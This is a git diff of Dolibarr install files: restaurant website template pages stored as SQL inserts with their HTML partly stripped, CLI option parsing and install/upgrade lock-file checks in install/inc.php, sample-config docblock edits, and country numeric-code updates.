      __N__
      __N____N__
      __N__
      __N__
      __N____N__
      __N__

      About Us

      __N____N__ Get to know us more__N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N__
      __N____N__
      __N__

      Team Members

      __N__
      __N____N__
      __N__
      __N__ \"\"__N__ __N__
      __N__

      Sophia

      __N____N__

      CEO & Founder

      __N__
      __N__
      __N__
      __N____N__
      __N__
      __N__ \"\"__N____N__

      Benjamin W.

      __N____N__

      Restaurant Manager

      __N__
      __N__
      __N____N__
      __N__
      __N__ \"\"__N__ __N__

      Muchen Jack

      __N____N__

      Senior Chef

      __N__
      __N__
      __N____N__
      __N__
      __N__
      __N__ __N__
      __N____N__
      __N____N____N____N____N__', '', 0); +-- File generated by Dolibarr 17.0.0-beta -- 2022-11-20 14:10:56 UTC --; +-- Page ID 249 -> 2__+MAX_llx_website_page__ - Aliases contact --; +INSERT INTO llx_website_page(rowid, fk_page, fk_website, pageurl, aliasalt, title, description, lang, image, keywords, status, date_creation, tms, import_key, grabbed_from, type_container, htmlheader, content, author_alias, allowed_in_frames) VALUES(2__+MAX_llx_website_page__, null, __WEBSITE_ID__, 'contact', '', 'Contact us', '', '', '', '', '1', '2022-08-16 14:40:51', '2022-11-20 14:50:10', null, '', 'page', '', '__N__email;__N__ $message = GETPOST(\'message\', \'alpha\');__N__ $cmail = new CMailFile(\'Contact from website\', $to, $from, $message);__N__ if ($cmail->sendfile()) {__N__ ?>__N__ __N__ trans(\"ErrorFailedToSendMail\", $from, $to).\'. \'.$cmail->error;__N__ }__N__}__N__?>__N____N____N____N____N__
      __N__
      __N__
      __N__
      __N__
      __N__
      __N__

      Say Hi

      __N____N__ We are happy to get in touch with you__N__
      __N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__ __N__
      __N__
      __N__
      __N__
      __N__

      Leave a message

      __N__
      __N____N__
      __N__ __N__ __N__ \">__N__ __N__
      __N__
      __N____N__
      __N__ trans(\"Phone\"); ?>__N____N__ __N__
      __N____N__
      __N__ trans(\"Email\"); ?>__N____N__ __N____N__ trans(\"Message\"); ?>__N____N__ __N__
      __N____N__
      __N__ __N__
      __N__ __N__
      __N____N__
      __N__
      Weekdays
      __N____N__
      __N__ $day : \" .getDolGlobalString(\"MAIN_INFO_OPENINGHOURS_$day\") .\"

      \"; __N__ }__N__ ?>__N__
      __N____N__
      Weekends
      __N____N__
      __N__

      Saturday and Sunday

      __N____N__

      to be determined !

      __N__
      __N__
      __N____N__
      __N__

      __N__ __N__

      __N__ getFullAddress() ?>__N__

      __N____N__ __N__
      __N__
      __N__ __N__
      __N__
      __N__
      __N__
      __N__
      __N__
      __N____N____N__ __N__ __N__ __N__
      __N__
      __N__
      __N__

      Reserve a table

      __N____N__ __N__
      __N____N__ __N__
      __N__ __N__ \" />__N__ __N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__ __N__
      __N__ __N__
      __N__
      __N____N__
      __N__
      __N__ __N__ __N____N__
      __N____N____N____N____N__', '', 0); +-- File generated by Dolibarr 17.0.0-beta -- 2022-11-20 14:10:56 UTC --; +-- Page ID 252 -> 3__+MAX_llx_website_page__ - Aliases footer --; +INSERT INTO llx_website_page(rowid, fk_page, fk_website, pageurl, aliasalt, title, description, lang, image, keywords, status, date_creation, tms, import_key, grabbed_from, type_container, htmlheader, content, author_alias, allowed_in_frames) VALUES(3__+MAX_llx_website_page__, null, __WEBSITE_ID__, 'footer', '', 'Footer', '', '', '', '', '1', '2022-11-20 12:51:50', '2022-11-20 14:07:39', null, '', 'other', '', '__N__
      __N__ __N__ __N__
      __N__', '', 0); +-- File generated by Dolibarr 17.0.0-beta -- 2022-11-20 14:10:56 UTC --; +-- Page ID 253 -> 4__+MAX_llx_website_page__ - Aliases header --; +INSERT INTO llx_website_page(rowid, fk_page, fk_website, pageurl, aliasalt, title, description, lang, image, keywords, status, date_creation, tms, import_key, grabbed_from, type_container, htmlheader, content, author_alias, allowed_in_frames) VALUES(4__+MAX_llx_website_page__, null, __WEBSITE_ID__, 'header', '', 'Header', '', '', '', '', '1', '2022-11-20 13:12:33', '2022-11-20 14:21:25', null, '', 'menu', '', '
      __N__ __N__
      __N____N__', '', 0); +-- File generated by Dolibarr 17.0.0-beta -- 2022-11-20 14:10:56 UTC --; +-- Page ID 250 -> 5__+MAX_llx_website_page__ - Aliases index --; +INSERT INTO llx_website_page(rowid, fk_page, fk_website, pageurl, aliasalt, title, description, lang, image, keywords, status, date_creation, tms, import_key, grabbed_from, type_container, htmlheader, content, author_alias, allowed_in_frames) VALUES(5__+MAX_llx_website_page__, null, __WEBSITE_ID__, 'index', '', 'index', '', '', '', '', '1', '2022-08-09 16:34:54', '2022-11-20 15:10:45', null, '', 'page', '', '__N____N____N____N____N__
      __N__
      __N__
      __N__
      __N__
      __N__
      __N__
      __N__

      __N__ Delicious Steaks__N__

      __N____N__
      __N__ __N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N__
      __N__
      __N__
      __N__
      __N____N__
      __N__ __N__
      __N__
      __N__
      __N__ __N__
      __N____N__
      __N__

      __N__ Fine Dining Restaurant__N__

      __N__
      __N__
      __N____N__
      __N__
      __N__ __N__
      __N____N__
      __N__ __N__

      Steak

      __N____N__ 26.50__N__
      __N__
      __N__
      __N____N__
      __N__
      __N__ __N__
      __N____N__
      __N__ __N__

      __N__ Sausage Pasta__N__

      __N____N__ 18.25__N__
      __N__
      __N__
      __N__
      __N____N__ __N__ __N__ Previous__N__ __N____N__ __N__ __N__ Next__N__ __N__ __N__ __N__ __N__ __N____N__
      __N__
      __N____N__
      __N__
      __N__
      __N__
      __N__

      __N__ Special Menus__N__

      __N__
      __N____N__
      __N__
      __N__
      __N__ __N____N__ Breakfast__N__
      __N____N__ __N__

      Morning Fresh

      __N____N__ 12.50__N____N__ __N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N__
      __N__
      __N__
      __N__
      __N____N__
      __N__
      __N__
      __N__ __N____N__ Lunch__N__
      __N____N__ __N__

      DoliCloud Soup

      __N____N__ 24.50__N____N__ __N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N__
      __N__
      __N__ __N__ __N____N__
      __N__
      __N__
      __N__ __N____N__ Dinner__N__
      __N____N__ __N__

      Premium Steak

      __N____N__ 45__N____N__ __N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N__
      __N__
      __N__ __N__ __N____N__
      __N__
      __N__
      __N__ __N____N__ Dinner__N__
      __N____N__ __N__

      Seafood Set

      __N____N__ 86__N____N__ __N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N__
      __N__
      __N__ __N__ __N____N__
      __N__
      __N__
      __N__ __N____N__ Breakfast__N__
      __N____N__ __N__

      Burger Set

      __N____N__ 20.50__N____N__ __N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N__
      __N__
      __N__ __N__ __N____N__
      __N__
      __N__
      __N__ __N____N__ Lunch__N__
      __N____N__ __N__

      Healthy Soup

      __N____N__ 34.20__N____N__ __N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N__
      __N__
      __N__ __N__ __N__ __N__ __N__
      __N__
      __N____N__
      __N____N____N____N__', '', 0); +UPDATE llx_website SET fk_default_home = 5__+MAX_llx_website_page__ WHERE rowid = __WEBSITE_ID__; +-- File generated by Dolibarr 17.0.0-beta -- 2022-11-20 14:10:56 UTC --; +-- Page ID 251 -> 6__+MAX_llx_website_page__ - Aliases menu --; +INSERT INTO llx_website_page(rowid, fk_page, fk_website, pageurl, aliasalt, title, description, lang, image, keywords, status, date_creation, tms, import_key, grabbed_from, type_container, htmlheader, content, author_alias, allowed_in_frames) VALUES(6__+MAX_llx_website_page__, null, __WEBSITE_ID__, 'menu', '', 'Our menus', '', '', '', '', '1', '2022-08-16 14:37:03', '2022-11-20 14:30:03', null, '', 'page', '', '__N____N____N____N____N__
      __N__
      __N__
      __N__
      __N__
      __N__
      __N__

      Our Menus

      __N____N__ Perfect for all Breakfast, Lunch and__N__ Dinner__N__
      __N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N__
      __N__
      __N__

      Breakfast Menu

      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Fresh Start

      __N____N__ $24.50__N__
      __N__
      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Baked Creamy

      __N____N__ $16.50__N__
      __N__
      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Burger Set

      __N____N__ $24.50__N____N__ $36.50__N__
      __N__
      __N__ __N__ __N__ __N__
      __N____N__
      __N__
      __N__
      __N__
      __N__

      Lunch Menu

      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Super Steak Set

      __N____N__ $32.75__N____N__ $55__N__
      __N__
      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Bread & Steak Set

      __N____N__ $42.50__N__
      __N__
      __N__
      __N__ __N__ __N__
      __N____N__
      __N__
      __N__
      __N__
      __N__

      Dinner Menu

      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Seafood Set

      __N____N__ $65.50__N__
      __N__
      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Premium Steak

      __N____N__ $74.25__N__
      __N__
      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Salmon Set

      __N____N__ $60__N__
      __N__
      __N__ __N__ __N__ __N__
      __N__
      __N____N__
      __N____N____N____N__', '', 0); -- For Dolibarr v14+ --; UPDATE llx_website SET lang = 'en' WHERE rowid = __WEBSITE_ID__; diff --git a/htdocs/install/doctemplates/websites/website_template-stellar/containers/wrapper.php b/htdocs/install/doctemplates/websites/website_template-stellar/containers/wrapper.php index 4f1c281ee93..c5f8978a706 100644 --- a/htdocs/install/doctemplates/websites/website_template-stellar/containers/wrapper.php +++ b/htdocs/install/doctemplates/websites/website_template-stellar/containers/wrapper.php @@ -137,13 +137,13 @@ if ($rss) { // Create temp file $outputfiletmp = tempnam($dir_temp, 'tmp'); // Temporary file (allow call of function by different threads - @chmod($outputfiletmp, octdec($conf->global->MAIN_UMASK)); + dolChmod($outputfiletmp); // Write file $result = build_rssfile($format, $title, $desc, $eventarray, $outputfiletmp, '', $website->virtualhost.'/wrapper.php?rss=1'.($l ? '&l='.$l : ''), $l); if ($result >= 0) { - if (dol_move($outputfiletmp, $outputfile, 0, 1)) $result = 1; + if (dol_move($outputfiletmp, $outputfile, 0, 1, 0, 0)) $result = 1; else { $error = 'Failed to rename '.$outputfiletmp.' into '.$outputfile; dol_syslog("build_exportfile ".$error, LOG_ERR); diff --git a/htdocs/install/fileconf.php b/htdocs/install/fileconf.php index 54325f97ed4..24afafbb83c 100644 --- a/htdocs/install/fileconf.php +++ b/htdocs/install/fileconf.php @@ -448,6 +448,7 @@ if (!empty($force_install_noedit)) { diff --git a/htdocs/install/inc.php b/htdocs/install/inc.php index e68f0d70a96..636f365683f 100644 --- a/htdocs/install/inc.php +++ b/htdocs/install/inc.php @@ -6,6 +6,7 @@ * Copyright (C) 2012 Marcos García * Copyright (C) 2016 Raphaël Doursenaud * Copyright (C) 2021 Charlene Benke + * Copyright (C) 2023 Alexandre Janniaux * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -70,6 +71,92 @@ $conffiletoshow = "htdocs/conf/conf.php"; //$conffile = "/etc/dolibarr/conf.php"; //$conffiletoshow = "/etc/dolibarr/conf.php"; +$short_options = "c:h"; +$long_options = array( + "config:", + "help", +); + +/** + * Print the usage when executing scripts from install/. + * + * Print the help text exposing the available options when executing + * update or install script (ie. from htdocs/install/) from CLI with + * the `php` executable. This function does not `exit` the program and + * the caller should then call `exit` themselves since they should + * determine whether it was an error or not. + * + * @param string $program the script that was originally run + * @param string $header the message to signal to the user + * @return void + */ +function usage($program, $header) +{ + echo $header."\n"; + echo " php ".$program." [options] previous_version new_version [script options]\n"; + echo "\n"; + echo "Script options when using upgrade.php:\n"; + echo "\n"; + echo " dirmodule:\n"; + echo " Specify dirmodule to provide a path for an external module\n"; + echo " so the migration is done using a script from a module.\n"; + echo "\n"; + echo " ignoredbversion:\n"; + echo " Allow to run migration even if database version does\n"; + echo " not match start version of migration.\n"; + echo "\n"; + echo "Script options when using upgrade2.php:\n"; + echo "\n"; + echo " MODULE_NAME1_TO_ENABLE,MODULE_NAME2_TO_ENABLE:\n"; + echo " Specify a list of module-name to enable, joined by comma.\n"; + echo "\n"; + echo "Options:\n"; + echo " -c, --config :\n"; + echo " Provide a different conf.php file to use.\n"; + echo "\n"; + echo " -h, --help:\n"; + echo " Display this help message.\n"; +} + +if (php_sapi_name() === "cli") { + $rest_index = 0; + $opts = getopt($short_options, $long_options, $rest_index); + + foreach ($opts as $opt => $arg) switch ($opt) { + case 'c': + case 'config': + $conffile = $arg; + $conffiletoshow = $arg; + break; + case 'h': + case 'help': + usage($argv[0], "Usage:"); + exit(0); + } + + // In the following test, only dash-prefixed arguments will trigger an + // error, given that scripts options can allow a variable number of + // additional non-prefixed argument and we mostly want to check for + // typo right now. + if ($rest_index < $argc && $argv[$rest_index][0] == "-") { + usage($argv[0], "Unknown option ".$argv[$rest_index]. ", usage:"); + exit(1); + } + + // Currently, scripts using inc.php will require addtional arguments, + // see help above for more details. + if ($rest_index > $argc - 2) { + usage($argv[0], "Missing mandatory arguments, usage:"); + exit(1); + } + + // Tricky argument list hack, should be removed someday. + // Reset argv to remove the argument that were parsed. This is needed + // currently because some install code, like in upgrade.php, are using + // $argv[] directly with fixed index to fetch some arguments. + $argv = array_merge(array($argv[0]), array_slice($argv, $rest_index)); + $argc = count($argv); +} // Load conf file if it is already defined if (!defined('DONOTLOADCONF') && file_exists($conffile) && filesize($conffile) > 8) { // Test on filesize is to ensure that conf file is more that an empty template with just setDefaultLang('auto'); - } - $langs->load("install"); +// Check install.lock (for both install and upgrade) - header("X-Content-Type-Options: nosniff"); - header("X-Frame-Options: SAMEORIGIN"); // Frames allowed only if on same domain (stop some XSS attacks) - - print $langs->trans("YouTryInstallDisabledByDirLock"); - if (!empty($dolibarr_main_url_root)) { - print 'Click on following link, '; - print $langs->trans("ClickHereToGoToApp"); - print ''; - } - exit; -} - -$lockfile = DOL_DATA_ROOT.'/install.lock'; +$lockfile = DOL_DATA_ROOT.'/install.lock'; // To lock all /install pages +$lockfile2 = DOL_DOCUMENT_ROOT.'/install.lock'; // To lock all /install pages (recommended) +$upgradeunlockfile = DOL_DATA_ROOT.'/upgrade.unlock'; // To unlock upgrade process +$upgradeunlockfile2 = DOL_DOCUMENT_ROOT.'/upgrade.unlock'; // To unlock upgrade process if (constant('DOL_DATA_ROOT') === null) { // We don't have a configuration file yet // Try to detect any lockfile in the default documents path $lockfile = '../../documents/install.lock'; + $upgradeunlockfile = '../../documents/upgrade.unlock'; } -if (@file_exists($lockfile)) { +$islocked=false; +if (@file_exists($lockfile) || @file_exists($lockfile2)) { + if (!defined('ALLOWED_IF_UPGRADE_UNLOCK_FOUND') || (! @file_exists($upgradeunlockfile) && ! @file_exists($upgradeunlockfile2))) { + // If this is a dangerous install page (ALLOWED_IF_UPGRADE_UNLOCK_FOUND not defined) or + // if there is no upgrade unlock files, we lock the pages. + $islocked = true; + } +} +if ($islocked) { // Pages are locked if (!isset($langs) || !is_object($langs)) { $langs = new Translate('..', $conf); $langs->setDefaultLang('auto'); @@ -216,20 +297,31 @@ if (@file_exists($lockfile)) { header("X-Content-Type-Options: nosniff"); header("X-Frame-Options: SAMEORIGIN"); // Frames allowed only if on same domain (stop some XSS attacks) - print $langs->trans("YouTryInstallDisabledByFileLock"); + if (GETPOST('action') != 'upgrade') { + print $langs->trans("YouTryInstallDisabledByFileLock").'
      '; + } else { + print $langs->trans("YouTryUpgradeDisabledByMissingFileUnLock").'
      '; + } if (!empty($dolibarr_main_url_root)) { - print $langs->trans("ClickOnLinkOrRemoveManualy").'
      '; + if (GETPOST('action') != 'upgrade') { + print $langs->trans("ClickOnLinkOrRemoveManualy").'
      '; + } else { + print $langs->trans("ClickOnLinkOrCreateUnlockFileManualy").'
      '; + } print ''; print $langs->trans("ClickHereToGoToApp"); print ''; } else { - print 'If you always reach this page, you must remove install.lock file manually.
      '; + print 'If you always reach this page, you must remove the install.lock file manually.
      '; } exit; } // Force usage of log file for install and upgrades +if (!isset($conf->syslog) || !is_object($conf->syslog)) { + $conf->syslog = new stdClass(); +} $conf->syslog->enabled = 1; $conf->global->SYSLOG_LEVEL = constant('LOG_DEBUG'); if (!defined('SYSLOG_HANDLERS')) { @@ -339,6 +431,9 @@ function conf($dolibarr_main_document_root) $conf->db->dolibarr_main_db_cryptkey = $dolibarr_main_db_cryptkey; // Force usage of log file for install and upgrades + if (!isset($conf->syslog) || !is_object($conf->syslog)) { + $conf->syslog = new stdClass(); + } $conf->syslog->enabled = 1; $conf->global->SYSLOG_LEVEL = constant('LOG_DEBUG'); if (!defined('SYSLOG_HANDLERS')) { diff --git a/htdocs/install/index.php b/htdocs/install/index.php index a7ce50c819f..d62f82eaa27 100644 --- a/htdocs/install/index.php +++ b/htdocs/install/index.php @@ -23,6 +23,8 @@ * \brief Show page to select language. This is done only for a first installation. * For a reinstall this page redirect to page check.php */ + +define('ALLOWED_IF_UPGRADE_UNLOCK_FOUND', 1); include_once 'inc.php'; include_once '../core/class/html.form.class.php'; include_once '../core/class/html.formadmin.class.php'; @@ -44,7 +46,7 @@ $langs->load("admin"); * View */ -$formadmin = new FormAdmin(''); // Note: $db does not exist yet but we don't need it, so we put ''. +$formadmin = new FormAdmin(null); // Note: $db does not exist yet but we don't need it, so we put ''. pHeader("", "check"); // Next step = check diff --git a/htdocs/install/install.forced.sample.php b/htdocs/install/install.forced.sample.php index 98f102ddea0..1e986e4a446 100644 --- a/htdocs/install/install.forced.sample.php +++ b/htdocs/install/install.forced.sample.php @@ -15,59 +15,59 @@ * along with this program. If not, see . */ -/** @var bool Hide PHP informations */ +/** @var boolean $force_install_nophpinfo Hide PHP informations */ $force_install_nophpinfo = true; -/** @var int 1 = Lock and hide environment variables, 2 = Lock all set variables */ +/** @var int $force_install_noedit 1 = Lock and hide environment variables, 2 = Lock all set variables */ $force_install_noedit = 2; -/** @var string Information message */ +/** @var string $force_install_message Information message */ $force_install_message = 'Welcome to your Dolibarr install'; -/** @var string Data root absolute path (documents folder) */ +/** @var string $force_install_main_data_root Data root absolute path (documents folder) */ $force_install_main_data_root = null; -/** @var bool Force HTTPS */ +/** @var boolean $force_install_mainforcehttps Force HTTPS */ $force_install_mainforcehttps = true; -/** @var string Database name */ +/** @var string $force_install_database Database name */ $force_install_database = 'dolibarr'; -/** @var string Database driver (mysql|mysqli|pgsql|mssql|sqlite|sqlite3) */ +/** @var string $force_install_type Database driver (mysql|mysqli|pgsql|mssql|sqlite|sqlite3) */ $force_install_type = 'mysqli'; -/** @var string Database server host */ +/** @var string $force_install_dbserver Database server host */ $force_install_dbserver = 'localhost'; -/** @var int Database server port */ +/** @var int $force_install_port Database server port */ $force_install_port = 3306; -/** @var string Database tables prefix */ +/** @var string $force_install_prefix Database tables prefix */ $force_install_prefix = 'llx_'; -/** @var bool Force database creation */ +/** @var bool $force_install_createdatabase Force database creation */ $force_install_createdatabase = true; -/** @var string Database username */ +/** @var string $force_install_databaselogin Database username */ $force_install_databaselogin = 'root'; -/** @var string Database password */ +/** @var string $force_install_databasepass Database password */ $force_install_databasepass = ''; -/** @var bool Force database user creation */ +/** @var bool $force_install_createuser Force database user creation */ $force_install_createuser = false; -/** @var string Database root username */ +/** @var string $force_install_databaserootlogin Database root username */ $force_install_databaserootlogin = 'root'; -/** @var string Database root password */ +/** @var string $force_install_databaserootpass Database root password */ $force_install_databaserootpass = ''; -/** @var string Dolibarr super-administrator username */ +/** @var string $force_install_dolibarrlogin Dolibarr super-administrator username */ $force_install_dolibarrlogin = 'admin'; -/** @var bool Force install locking */ +/** @var bool $force_install_lockinstall Force install locking */ $force_install_lockinstall = true; -/** @var string Enable module(s) (Comma separated class names list) */ +/** @var string $force_install_module Enable module(s) (Comma separated class names list) */ $force_install_module = 'modSociete,modFournisseur,modFacture'; diff --git a/htdocs/install/lib/repair.lib.php b/htdocs/install/lib/repair.lib.php index aea82107d29..c7c45dff053 100644 --- a/htdocs/install/lib/repair.lib.php +++ b/htdocs/install/lib/repair.lib.php @@ -125,7 +125,7 @@ function checkLinkedElements($sourcetype, $targettype) /** * Clean data into ecm_directories table * - * @return void + * @return int <0 if KO, >0 if OK */ function clean_data_ecm_directories() { @@ -145,12 +145,14 @@ function clean_data_ecm_directories() $resqlupdate = $db->query($sqlupdate); if (!$resqlupdate) { dol_print_error($db, 'Failed to update'); + return -1; } } } } else { dol_print_error($db, 'Failed to run request'); + return -1; } - return; + return 1; } diff --git a/htdocs/install/mysql/data/llx_00_c_country.sql b/htdocs/install/mysql/data/llx_00_c_country.sql index 6b32c245305..829d6ffe8cb 100644 --- a/htdocs/install/mysql/data/llx_00_c_country.sql +++ b/htdocs/install/mysql/data/llx_00_c_country.sql @@ -278,6 +278,262 @@ INSERT INTO llx_c_country (rowid, code, code_iso, label, active, favorite) VALUE INSERT INTO llx_c_country (rowid, code, code_iso, label, active, favorite) VALUES (247, 'XK', 'XKX', 'Kosovo', 1, 0); + +UPDATE llx_c_country SET numeric_code = '004' WHERE code_iso = 'AFG'; +UPDATE llx_c_country SET numeric_code = '248' WHERE code_iso = 'ALA'; +UPDATE llx_c_country SET numeric_code = '008' WHERE code_iso = 'ALB'; +UPDATE llx_c_country SET numeric_code = '276' WHERE code_iso = 'DEU'; +UPDATE llx_c_country SET numeric_code = '020' WHERE code_iso = 'AND'; +UPDATE llx_c_country SET numeric_code = '024' WHERE code_iso = 'AGO'; +UPDATE llx_c_country SET numeric_code = '660' WHERE code_iso = 'AIA'; +UPDATE llx_c_country SET numeric_code = '010' WHERE code_iso = 'ATA'; +UPDATE llx_c_country SET numeric_code = '028' WHERE code_iso = 'ATG'; +UPDATE llx_c_country SET numeric_code = '682' WHERE code_iso = 'SAU'; +UPDATE llx_c_country SET numeric_code = '012' WHERE code_iso = 'DZA'; +UPDATE llx_c_country SET numeric_code = '032' WHERE code_iso = 'ARG'; +UPDATE llx_c_country SET numeric_code = '051' WHERE code_iso = 'ARM'; +UPDATE llx_c_country SET numeric_code = '533' WHERE code_iso = 'ABW'; +UPDATE llx_c_country SET numeric_code = '036' WHERE code_iso = 'AUS'; +UPDATE llx_c_country SET numeric_code = '040' WHERE code_iso = 'AUT'; +UPDATE llx_c_country SET numeric_code = '031' WHERE code_iso = 'AZE'; +UPDATE llx_c_country SET numeric_code = '044' WHERE code_iso = 'BHS'; +UPDATE llx_c_country SET numeric_code = '050' WHERE code_iso = 'BGD'; +UPDATE llx_c_country SET numeric_code = '052' WHERE code_iso = 'BRB'; +UPDATE llx_c_country SET numeric_code = '048' WHERE code_iso = 'BHR'; +UPDATE llx_c_country SET numeric_code = '056' WHERE code_iso = 'BEL'; +UPDATE llx_c_country SET numeric_code = '084' WHERE code_iso = 'BLZ'; +UPDATE llx_c_country SET numeric_code = '204' WHERE code_iso = 'BEN'; +UPDATE llx_c_country SET numeric_code = '060' WHERE code_iso = 'BMU'; +UPDATE llx_c_country SET numeric_code = '112' WHERE code_iso = 'BLR'; +UPDATE llx_c_country SET numeric_code = '068' WHERE code_iso = 'BOL'; +UPDATE llx_c_country SET numeric_code = '535' WHERE code_iso = 'BES'; +UPDATE llx_c_country SET numeric_code = '070' WHERE code_iso = 'BIH'; +UPDATE llx_c_country SET numeric_code = '072' WHERE code_iso = 'BWA'; +UPDATE llx_c_country SET numeric_code = '076' WHERE code_iso = 'BRA'; +UPDATE llx_c_country SET numeric_code = '096' WHERE code_iso = 'BRN'; +UPDATE llx_c_country SET numeric_code = '100' WHERE code_iso = 'BGR'; +UPDATE llx_c_country SET numeric_code = '854' WHERE code_iso = 'BFA'; +UPDATE llx_c_country SET numeric_code = '108' WHERE code_iso = 'BDI'; +UPDATE llx_c_country SET numeric_code = '064' WHERE code_iso = 'BTN'; +UPDATE llx_c_country SET numeric_code = '132' WHERE code_iso = 'CPV'; +UPDATE llx_c_country SET numeric_code = '116' WHERE code_iso = 'KHM'; +UPDATE llx_c_country SET numeric_code = '120' WHERE code_iso = 'CMR'; +UPDATE llx_c_country SET numeric_code = '124' WHERE code_iso = 'CAN'; +UPDATE llx_c_country SET numeric_code = '634' WHERE code_iso = 'QAT'; +UPDATE llx_c_country SET numeric_code = '148' WHERE code_iso = 'TCD'; +UPDATE llx_c_country SET numeric_code = '152' WHERE code_iso = 'CHL'; +UPDATE llx_c_country SET numeric_code = '156' WHERE code_iso = 'CHN'; +UPDATE llx_c_country SET numeric_code = '196' WHERE code_iso = 'CYP'; +UPDATE llx_c_country SET numeric_code = '170' WHERE code_iso = 'COL'; +UPDATE llx_c_country SET numeric_code = '174' WHERE code_iso = 'COM'; +UPDATE llx_c_country SET numeric_code = '408' WHERE code_iso = 'PRK'; +UPDATE llx_c_country SET numeric_code = '410' WHERE code_iso = 'KOR'; +UPDATE llx_c_country SET numeric_code = '384' WHERE code_iso = 'CIV'; +UPDATE llx_c_country SET numeric_code = '188' WHERE code_iso = 'CRI'; +UPDATE llx_c_country SET numeric_code = '191' WHERE code_iso = 'HRV'; +UPDATE llx_c_country SET numeric_code = '192' WHERE code_iso = 'CUB'; +UPDATE llx_c_country SET numeric_code = '531' WHERE code_iso = 'CUW'; +UPDATE llx_c_country SET numeric_code = '208' WHERE code_iso = 'DNK'; +UPDATE llx_c_country SET numeric_code = '212' WHERE code_iso = 'DMA'; +UPDATE llx_c_country SET numeric_code = '218' WHERE code_iso = 'ECU'; +UPDATE llx_c_country SET numeric_code = '818' WHERE code_iso = 'EGY'; +UPDATE llx_c_country SET numeric_code = '222' WHERE code_iso = 'SLV'; +UPDATE llx_c_country SET numeric_code = '784' WHERE code_iso = 'ARE'; +UPDATE llx_c_country SET numeric_code = '232' WHERE code_iso = 'ERI'; +UPDATE llx_c_country SET numeric_code = '703' WHERE code_iso = 'SVK'; +UPDATE llx_c_country SET numeric_code = '705' WHERE code_iso = 'SVN'; +UPDATE llx_c_country SET numeric_code = '724' WHERE code_iso = 'ESP'; +UPDATE llx_c_country SET numeric_code = '840' WHERE code_iso = 'USA'; +UPDATE llx_c_country SET numeric_code = '233' WHERE code_iso = 'EST'; +UPDATE llx_c_country SET numeric_code = '231' WHERE code_iso = 'ETH'; +UPDATE llx_c_country SET numeric_code = '608' WHERE code_iso = 'PHL'; +UPDATE llx_c_country SET numeric_code = '246' WHERE code_iso = 'FIN'; +UPDATE llx_c_country SET numeric_code = '242' WHERE code_iso = 'FJI'; +UPDATE llx_c_country SET numeric_code = '250' WHERE code_iso = 'FRA'; +UPDATE llx_c_country SET numeric_code = '266' WHERE code_iso = 'GAB'; +UPDATE llx_c_country SET numeric_code = '270' WHERE code_iso = 'GMB'; +UPDATE llx_c_country SET numeric_code = '268' WHERE code_iso = 'GEO'; +UPDATE llx_c_country SET numeric_code = '288' WHERE code_iso = 'GHA'; +UPDATE llx_c_country SET numeric_code = '292' WHERE code_iso = 'GIB'; +UPDATE llx_c_country SET numeric_code = '308' WHERE code_iso = 'GRD'; +UPDATE llx_c_country SET numeric_code = '300' WHERE code_iso = 'GRC'; +UPDATE llx_c_country SET numeric_code = '304' WHERE code_iso = 'GRL'; +UPDATE llx_c_country SET numeric_code = '312' WHERE code_iso = 'GLP'; +UPDATE llx_c_country SET numeric_code = '316' WHERE code_iso = 'GUM'; +UPDATE llx_c_country SET numeric_code = '320' WHERE code_iso = 'GTM'; +UPDATE llx_c_country SET numeric_code = '254' WHERE code_iso = 'GUF'; +UPDATE llx_c_country SET numeric_code = '831' WHERE code_iso = 'GGY'; +UPDATE llx_c_country SET numeric_code = '324' WHERE code_iso = 'GIN'; +UPDATE llx_c_country SET numeric_code = '624' WHERE code_iso = 'GNB'; +UPDATE llx_c_country SET numeric_code = '226' WHERE code_iso = 'GNQ'; +UPDATE llx_c_country SET numeric_code = '328' WHERE code_iso = 'GUY'; +UPDATE llx_c_country SET numeric_code = '332' WHERE code_iso = 'HTI'; +UPDATE llx_c_country SET numeric_code = '340' WHERE code_iso = 'HND'; +UPDATE llx_c_country SET numeric_code = '344' WHERE code_iso = 'HKG'; +UPDATE llx_c_country SET numeric_code = '348' WHERE code_iso = 'HUN'; +UPDATE llx_c_country SET numeric_code = '356' WHERE code_iso = 'IND'; +UPDATE llx_c_country SET numeric_code = '360' WHERE code_iso = 'IDN'; +UPDATE llx_c_country SET numeric_code = '368' WHERE code_iso = 'IRQ'; +UPDATE llx_c_country SET numeric_code = '364' WHERE code_iso = 'IRN'; +UPDATE llx_c_country SET numeric_code = '372' WHERE code_iso = 'IRL'; +UPDATE llx_c_country SET numeric_code = '074' WHERE code_iso = 'BVT'; +UPDATE llx_c_country SET numeric_code = '833' WHERE code_iso = 'IMN'; +UPDATE llx_c_country SET numeric_code = '162' WHERE code_iso = 'CXR'; +UPDATE llx_c_country SET numeric_code = '352' WHERE code_iso = 'ISL'; +UPDATE llx_c_country SET numeric_code = '136' WHERE code_iso = 'CYM'; +UPDATE llx_c_country SET numeric_code = '166' WHERE code_iso = 'CCK'; +UPDATE llx_c_country SET numeric_code = '184' WHERE code_iso = 'COK'; +UPDATE llx_c_country SET numeric_code = '234' WHERE code_iso = 'FRO'; +UPDATE llx_c_country SET numeric_code = '239' WHERE code_iso = 'SGS'; +UPDATE llx_c_country SET numeric_code = '334' WHERE code_iso = 'HMD'; +UPDATE llx_c_country SET numeric_code = '238' WHERE code_iso = 'FLK'; +UPDATE llx_c_country SET numeric_code = '580' WHERE code_iso = 'MNP'; 